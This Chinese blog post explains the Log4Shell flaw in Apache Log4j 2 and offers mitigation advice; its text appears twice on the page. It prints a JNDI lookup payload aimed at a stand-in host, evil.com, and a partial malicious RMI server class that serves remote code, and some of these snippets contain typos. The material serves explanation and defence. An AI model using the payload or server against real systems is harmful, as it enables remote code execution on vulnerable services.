searchusermenu
  • 发布文章
  • 消息中心
点赞
收藏
评论
分享
原创

Log4Shell漏洞分析

2023-06-06 01:26:07
87
0

Apache Log4j 漏洞

Apache Log4j是一个基于Java的日志记录工具,是Apache软件基金会下的一个开源项目。而此次出现漏洞的Apache Log4j 2被广泛地应用于各种常见的Java服务中。而所有使用Java作为开发语言产品研发的互联网服务提供商,都极有可能遭受攻击。

经验证,该漏洞利用无需特殊配置,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响,具体受影响应用如下。

 

应用

受影响版本

Spring-Boot-strater-log4j2

全版本

Apache Struts2

全版本

Apache Solr

已经在9.0和8.11.1修复

Apache Flink

1.11.0-rc1 到 1.14.0

Apache Druid

0.7.x以上

Alibaba Druid

1.0.15以及以上

ElasticSearch

5.x,6.x和7.x

Logstash

5.0.0至最新

log4j2-redis-appender

全版本

Apache Dubbo

2.7.x以及3.0.x

Hadoop Hive

2.x和3.x

hadoop hbase

3.0.0-alpha-1

Mycat

1.6.x

OpenCms

build_11_0_0_beta到最新

 

<dependency>
<groupId>org.apache.logging. og4j</groupId><artifactId>log4j-api</artifactId><version>2.14.1</version></dependency>
<dependency>
<groupId>org.apache.Logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version>
</dependency>

接下来我们来分析一下这个漏洞是如何被利用的。log4j 内提供了一些占位符替换机制,我们首先在pom文件中增加log4j的依赖,我们引入一个有漏洞版本2.14.1。

然后,编写如下Java代码

logger.info("os: {java:vm}");

输出的结果是

14:16:42.671[main] ERROR org.example.App msg2: 0penJDK 64-Bit Server VM (build 17.0.1+12,mixed mode

也就是把 {java:os} 替换成了 System.getProperties("os") 也就是 "OpenJDK 64-Bit Server VM (build 17.0.1+12, mixed mode)"。这个很好理解,但 log4j 还提供了更强大的关于 jndi 的占位符,我们再来写以下代码。

logger.info("{jndi:rmi//evil.com:9999/evil}")

这个时候, log4j会自动加载通过 jndi 从远程服务器获取的 java 对象在本地进行执行,注意这里是在本地执行,也就是可以执行远程恶意代码。

我们再来看一下jndi 是什么?说简单的就是几个 Java 程序互相交换信息的一种技术,因为这些 Java 程序都在同一个 JVM 虚拟机上运行。而 jndi 交换信息有很多种格式,上文代码中的 "rmi" 就是其中之一,就是可以使两个 Java 程序互相搞小动作的东西。以上面的代码为例,远程服务器的地址即 "rmi//evil.com:9999",而提供的对象则是 "evil","evil" 一般是一个Java Class。代码如下

public class EvilRMIServer {
public static void main(string[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");try i
LocateRegistry.createRegistry( port: 9999);
Registry registry = LocateRegistry.getRegistry();System.out.printLn("Create RMI registry on port 9999!");// 前两个参数为类名,第三个参数为远程类地址Reference reference = new Reference( className: "org.example.EvilShellCode", factory: "org.example.EvilShelilCode'ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind( name:"evil", referenceWrapper);
catch (Exception e) {e.printStackTrace()

也就是说,只要你的日志里面包含 "{jndi:rmi//evil.com:9999/evil}" 这一段信息,你就可能会被黑客入侵,是不是有点 sql 注入的味道了?例如我的世界也使用了 log4j,他会用 log4j 把其他玩家说的话通过 logger.info(玩家说的话) 记录下来,如果他说了一些可以触发 log4j 占位符机制且不怀好意的话,所有听到这句话的玩家都得中招,运行远程服务器上的 Java 代码。

 

 

安全建议

2021年12月10日,安全中心发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 官方最新版本 log4j-2.15.0版本。

1、【默认方案】应用请直接升级最官方最新版本 log4j-2.15.0版本,地址:

https://logging.apache.org/log4j/2.x/download.html

http://mvn.hz.netease.com/artifactory/repo/org/apache/logging/log4j/log4j-core/2.15.0/

2、如果方案1升级有问题,通常是受影响组件(如flink/es/kafka等),参考临时解决方案(需要业务自行验证,实施其中1条即可):

1)关闭请求外网(包括TCP和UDP),确认HIDS是否都覆盖(接入HIDS能感知告警代码执行);

3)版本>=2.10的缓解措施:jvm启动参数-Dlog4j2.formatMsgNoLookups=true (部分xml配置情况方案可能无效)

4)版本>=2.7 and <=2.14.1的缓解措施:resources目录下配置log4j2.xml

pattern位置增加{nolookups}模板参考

<?xml version = "1.0"  encoding = "UTF-8" ?> <Configuration status="warn" monitorInterval="30">     <Properties>         <Property name="baseLogDir">/home/popo/logs/app/1</Property>         <Property name="pubsubLogDir">/home/popo/logs/pubsub</Property>         <Property name="mqproxyLogDir">/home/popo/logs/mqproxy</Property>         <Property name="foo.bar">FOO_BAR </Property>     </Properties>     <Appenders>         <Console name="Console" target="SYSTEM_OUT">             <PatternLayout pattern="log4j2  [%-5p]%d, [Class]%-c{1}, %m{nolookups}%n"/>         </Console>     </Appenders>     <Loggers>         <AsyncRoot level="INFO">             <AppenderRef ref="Console"/>         </AsyncRoot>         <AsyncLogger name="com.xxx.xx" level="Debug" additivity="false">             <AppenderRef ref="Console"/>         </AsyncLogger>     </Loggers> </Configuration>

5)版本 >=2.0-beta9 并且小于2.10的缓解措施是移除JndiLookup的类 (一般业务代码不会用到 jndi lookup 这个功能,具体请业务确认)

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

 

 

 

 

 

0条评论
0 / 1000
1****m
1文章数
0粉丝数
1****m
1 文章 | 0 粉丝
1****m
1文章数
0粉丝数
1****m
1 文章 | 0 粉丝
原创

Log4Shell漏洞分析

2023-06-06 01:26:07
87
0

Apache Log4j 漏洞

Apache Log4j是一个基于Java的日志记录工具,是Apache软件基金会下的一个开源项目。而此次出现漏洞的Apache Log4j 2被广泛地应用于各种常见的Java服务中。而所有使用Java作为开发语言产品研发的互联网服务提供商,都极有可能遭受攻击。

经验证,该漏洞利用无需特殊配置,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响,具体受影响应用如下。

 

应用

受影响版本

Spring-Boot-strater-log4j2

全版本

Apache Struts2

全版本

Apache Solr

已经在9.0和8.11.1修复

Apache Flink

1.11.0-rc1 到 1.14.0

Apache Druid

0.7.x以上

Alibaba Druid

1.0.15以及以上

ElasticSearch

5.x,6.x和7.x

Logstash

5.0.0至最新

log4j2-redis-appender

全版本

Apache Dubbo

2.7.x以及3.0.x

Hadoop Hive

2.x和3.x

hadoop hbase

3.0.0-alpha-1

Mycat

1.6.x

OpenCms

build_11_0_0_beta到最新

 

<dependency>
<groupId>org.apache.logging. og4j</groupId><artifactId>log4j-api</artifactId><version>2.14.1</version></dependency>
<dependency>
<groupId>org.apache.Logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version>
</dependency>

接下来我们来分析一下这个漏洞是如何被利用的。log4j 内提供了一些占位符替换机制,我们首先在pom文件中增加log4j的依赖,我们引入一个有漏洞版本2.14.1。

然后,编写如下Java代码

logger.info("os: {java:vm}");

输出的结果是

14:16:42.671[main] ERROR org.example.App msg2: 0penJDK 64-Bit Server VM (build 17.0.1+12,mixed mode

也就是把 {java:os} 替换成了 System.getProperties("os") 也就是 "OpenJDK 64-Bit Server VM (build 17.0.1+12, mixed mode)"。这个很好理解,但 log4j 还提供了更强大的关于 jndi 的占位符,我们再来写以下代码。

logger.info("{jndi:rmi//evil.com:9999/evil}")

这个时候, log4j会自动加载通过 jndi 从远程服务器获取的 java 对象在本地进行执行,注意这里是在本地执行,也就是可以执行远程恶意代码。

我们再来看一下jndi 是什么?说简单的就是几个 Java 程序互相交换信息的一种技术,因为这些 Java 程序都在同一个 JVM 虚拟机上运行。而 jndi 交换信息有很多种格式,上文代码中的 "rmi" 就是其中之一,就是可以使两个 Java 程序互相搞小动作的东西。以上面的代码为例,远程服务器的地址即 "rmi//evil.com:9999",而提供的对象则是 "evil","evil" 一般是一个Java Class。代码如下

public class EvilRMIServer {
public static void main(string[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");try i
LocateRegistry.createRegistry( port: 9999);
Registry registry = LocateRegistry.getRegistry();System.out.printLn("Create RMI registry on port 9999!");// 前两个参数为类名,第三个参数为远程类地址Reference reference = new Reference( className: "org.example.EvilShellCode", factory: "org.example.EvilShelilCode'ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind( name:"evil", referenceWrapper);
catch (Exception e) {e.printStackTrace()

也就是说,只要你的日志里面包含 "{jndi:rmi//evil.com:9999/evil}" 这一段信息,你就可能会被黑客入侵,是不是有点 sql 注入的味道了?例如我的世界也使用了 log4j,他会用 log4j 把其他玩家说的话通过 logger.info(玩家说的话) 记录下来,如果他说了一些可以触发 log4j 占位符机制且不怀好意的话,所有听到这句话的玩家都得中招,运行远程服务器上的 Java 代码。

 

 

安全建议

2021年12月10日,安全中心发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 官方最新版本 log4j-2.15.0版本。

1、【默认方案】应用请直接升级最官方最新版本 log4j-2.15.0版本,地址:

https://logging.apache.org/log4j/2.x/download.html

http://mvn.hz.netease.com/artifactory/repo/org/apache/logging/log4j/log4j-core/2.15.0/

2、如果方案1升级有问题,通常是受影响组件(如flink/es/kafka等),参考临时解决方案(需要业务自行验证,实施其中1条即可):

1)关闭请求外网(包括TCP和UDP),确认HIDS是否都覆盖(接入HIDS能感知告警代码执行);

3)版本>=2.10的缓解措施:jvm启动参数-Dlog4j2.formatMsgNoLookups=true (部分xml配置情况方案可能无效)

4)版本>=2.7 and <=2.14.1的缓解措施:resources目录下配置log4j2.xml

pattern位置增加{nolookups}模板参考

<?xml version = "1.0"  encoding = "UTF-8" ?> <Configuration status="warn" monitorInterval="30">     <Properties>         <Property name="baseLogDir">/home/popo/logs/app/1</Property>         <Property name="pubsubLogDir">/home/popo/logs/pubsub</Property>         <Property name="mqproxyLogDir">/home/popo/logs/mqproxy</Property>         <Property name="foo.bar">FOO_BAR </Property>     </Properties>     <Appenders>         <Console name="Console" target="SYSTEM_OUT">             <PatternLayout pattern="log4j2  [%-5p]%d, [Class]%-c{1}, %m{nolookups}%n"/>         </Console>     </Appenders>     <Loggers>         <AsyncRoot level="INFO">             <AppenderRef ref="Console"/>         </AsyncRoot>         <AsyncLogger name="com.xxx.xx" level="Debug" additivity="false">             <AppenderRef ref="Console"/>         </AsyncLogger>     </Loggers> </Configuration>

5)版本 >=2.0-beta9 并且小于2.10的缓解措施是移除JndiLookup的类 (一般业务代码不会用到 jndi lookup 这个功能,具体请业务确认)

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

 

 

 

 

 

文章来自个人专栏
bulldozer
1 文章 | 1 订阅
0条评论
0 / 1000
请输入你的评论
0
0